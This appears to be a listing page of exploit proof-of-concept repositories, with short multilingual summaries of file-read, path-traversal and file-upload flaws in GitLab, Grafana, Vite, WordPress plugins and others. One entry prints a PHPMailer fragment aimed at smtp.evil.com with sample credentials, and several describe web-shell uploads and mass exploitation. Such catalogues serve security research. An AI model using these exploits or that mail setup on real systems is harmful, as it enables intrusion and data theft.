CVE-2021-22201

CVE-2021-22201 CVE-2021–22201 Произвольное чтение файлов на Gitlab 13.9.0 = Gitlab 13.9.5 Использование python CVE-2021-22201.py url username password Ссылки CVE-2021–22201: Произвольное чтение файлов на Gitlab | от Son Nguy3n | Июнь 2021 | tradahacking API импорта/экспорта проектов | GitLab...

CVE-2025-47273-PoC

CVE-2025-47273: setuptools versione 78.1.0 - Path Traversal in setuptools.packageindex Dichiarazione di non responsabilità Questa Proof of Concept PoC è intesa esclusivamente a scopo educativo e per audit di sicurezza autorizzati. L'autore non si assume alcuna responsabilità per l'uso improprio d...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Beliebiges Dateilesen 🔥 Schwachstellenübersicht Das WordPress-Plugin File Away in Version = 3.9.9.0.1 ist anfällig für eine unauthentifizierte Schwachstelle zum beliebigen Lesen von Dateien. Dies ermöglicht es Angreifern, über eine manipulierte...

CVE-2021-43798

CVE-2021-43798 CVE-2021-43798 ist eine hochriskante Path-Traversal-Schwachstelle CVSS 3.1-Wertung: 7.5, die Grafana-Versionen 8.0.0-beta1 bis 8.3.0 betrifft. Sie ermöglicht nicht authentifizierten Angreifern, beliebige Dateien vom Server auszulesen, indem sie eine unzureichende Bereinigung im...

CVE-2026-14894

CVE-2026-14894 — Super Forms ≤ 6.3.313 Overview अनधिकृत मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन WordPress प्लगइन Super Forms के संस्करण ≤ 6.3.313 में। यह कमजोरी AJAX हैंडलर supersubmitform में मौजूद है जो फ़ील्ड के माध्यम से फ़ाइल अपलोड को संसाधित करता है, बिना फ़ाइल एक्सटेंशन या MIME प्रकार को...

CVE-2025-30208-PoC

CVE-2025-30208 - Vite 任意文件读取 PoC 这是一个利用 CVE-2025-30208 漏洞的概念验证（PoC）脚本，允许在 Vite 开发服务器上读取任意文件。 漏洞详情 Vite 是一个前端开发工具提供者，其版本在 6.2.3、6.1.2、6.0.12、5.4.15 和 4.5.10 之前存在漏洞。@fs 拒绝访问 Vite 服务允许列表之外的文件。在 URL 中添加 ?raw?? 或 ?import&raw?? 可以绕过此限制，如果文件存在则返回其内容。此绕过存在的原因是尾部分隔符（如...

CVE-2026-5203

CVE-2026-5203 — CMS Made Simple ≤ 2.2.22 RCE（路径遍历 + 任意文件上传） 摘要 CMS Made Simple ≤ 2.2.22 中的 UserGuide 模块的 XML 导入功能未能清理用户提供的文件名，允许经过身份验证的管理员通过路径遍历序列将任意文件（例如 PHP Web Shell）上传到服务器文件系统的任何位置。 字段| 值 ---|--- 类型| 路径遍历 / 任意文件上传 → RCE 组件| UserGuide 模块 — XML 导入 受影响文件|...

CVE-2021-24499

CVE-2021-24499 | Workreap - Freelance Marketplace and Directory WordPress Theme 2.2.2 - Caricamento File Arbitrario WordPress Theme Workreap 2.2.2 - Caricamento File Non Autenticato che Porta a Esecuzione di Codice Remota Un potente e accurato strumento di sfruttamento di massa per la vulnerabili...

CVE-2023-27470_Exercise

CVE-2023-27470 EoP Arbirary फ़ाइल विलोपन अभ्यास के माध्यम से यह रिपॉजिटरी एक स्थानीय विशेषाधिकार वृद्धि अभ्यास प्रदान करती है जो CVE-2023-27470 को दोहराता है। आपका मिशन, यदि आप इसे स्वीकार करना चाहें, तो भेद्यता खोजें और एक SYSTEM कमांड प्रॉम्प्ट प्राप्त करें! यदि आप समाधान पर जाना चाहते हैं, तो...

CVE-2022-22965-PoC_Payara

CVE-2022-22965 PoC - Payara मनमाना फ़ाइल डाउनलोड CVE-2022-22965 Spring भेद्यता को Payara/Glassfish में पुन: उत्पन्न करने का न्यूनतम उदाहरण। Payara/Glassfish के लिए वैकल्पिक पेलोड जो दुर्भावनापूर्ण उपयोगकर्ता को मनमाना वेब रूट सेट करने की अनुमति देता है, जिससे मनमाना फ़ाइल डाउनलोड होता है। डॉकर...

CVE-2025-66680

CVE-2025-66680 No Wise Force Deleter 1.5.7.59 e versões anteriores, um atacante com acesso de administrador local pode deletar arquivos arbitrários no sistema de arquivos ao armamentar o aplicativo. Uso 1. Coloque WiseDelfile64.sys em C:\Windows 2. Compile o projeto 3. Crie um arquivo file.txt...

CVE-2026-31802

🛡️ CVE-2026-31802 - Visualizador Simples de Prova de Conceito 📋 Sobre o CVE-2026-31802 Este repositório fornece uma prova de conceito PoC e um artigo técnico para o CVE-2026-31802. O problema é uma vulnerabilidade de segurança no pacote npm tar. Ele permite que atacantes enganem o software para...

CVE-2026-75328

In DocSys-master V2.02.85, the downloadDocEx interface in src/com/DocSystem/controller/DocController.java has an arbitrary file read vulnerability:...

Exch-CVE-2021-26855

Exch-CVE-2021-26855 ProxyLogon ist der formell generische Name für CVE-2021-26855, eine Sicherheitslücke auf Microsoft Exchange Server, die es einem Angreifer ermöglicht, die Authentifizierung zu umgehen und sich als Admin auszugeben. Wir haben diesen Fehler auch mit einer weiteren post-auth...

CVE-2025-4138-poc

CVE-2025-4138 Generatore Auto-Sudo Uno script Python per generare un archivio tar malevolo che sfrutta CVE-2025-4138 / CVE-2025-4517 Path Traversal tramite troncamento di PATHMAX. Lo sfruttamento riuscito di questa vulnerabilità consente a un attaccante di aggirare i filtri di estrazione di tarfi...

CVE-2024-51793

CVE-2024-51793 Exploit-Tool-Dokumentation 📋 Übersicht CVE-2024-51793 ist eine Schwachstelle für nicht authentifizierten, beliebigen Dateiupload im Computer Repair Shop WordPress Plugin Versionen vor 3.8116. Diese Schwachstelle ermöglicht Angreifern, ohne Authentifizierung beliebige Dateien,...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 ist eine Schwachstelle für beliebige Dateiuploads in laravel-admin v1.8.19. Dieses Proof-of-Concept nutzt die Schwachstelle aus, um eine Web-Shell hochzuladen. Der Exploit wurde geschrieben, um gegen die Easy-Maschine Usage von HackTheBox eingesetzt zu werden...

CVE-2020-14008

CVE-2020-14008 - RCE no ManageEngine Applications Manager Execução Remota de Código Autenticada via Upload Arbitrário de Arquivos no Zoho ManageEngine Applications Manager versões = 14720. Resumo da Vulnerabilidade...

CVE-2022-44900-demo-lab

CVE-2022-44900 Demo-Labor Demo-Webanwendung anfällig für CVE-2022-44900. CVE-2022-44900 ist eine Directory-Traversal-Schwachstelle in der Funktion SevenZipFile.extractall der Python-Bibliothek py7zr Version 0.20.0 und früher, die es Angreifern ermöglicht, beliebige Dateien auf dem lokalen Rechner...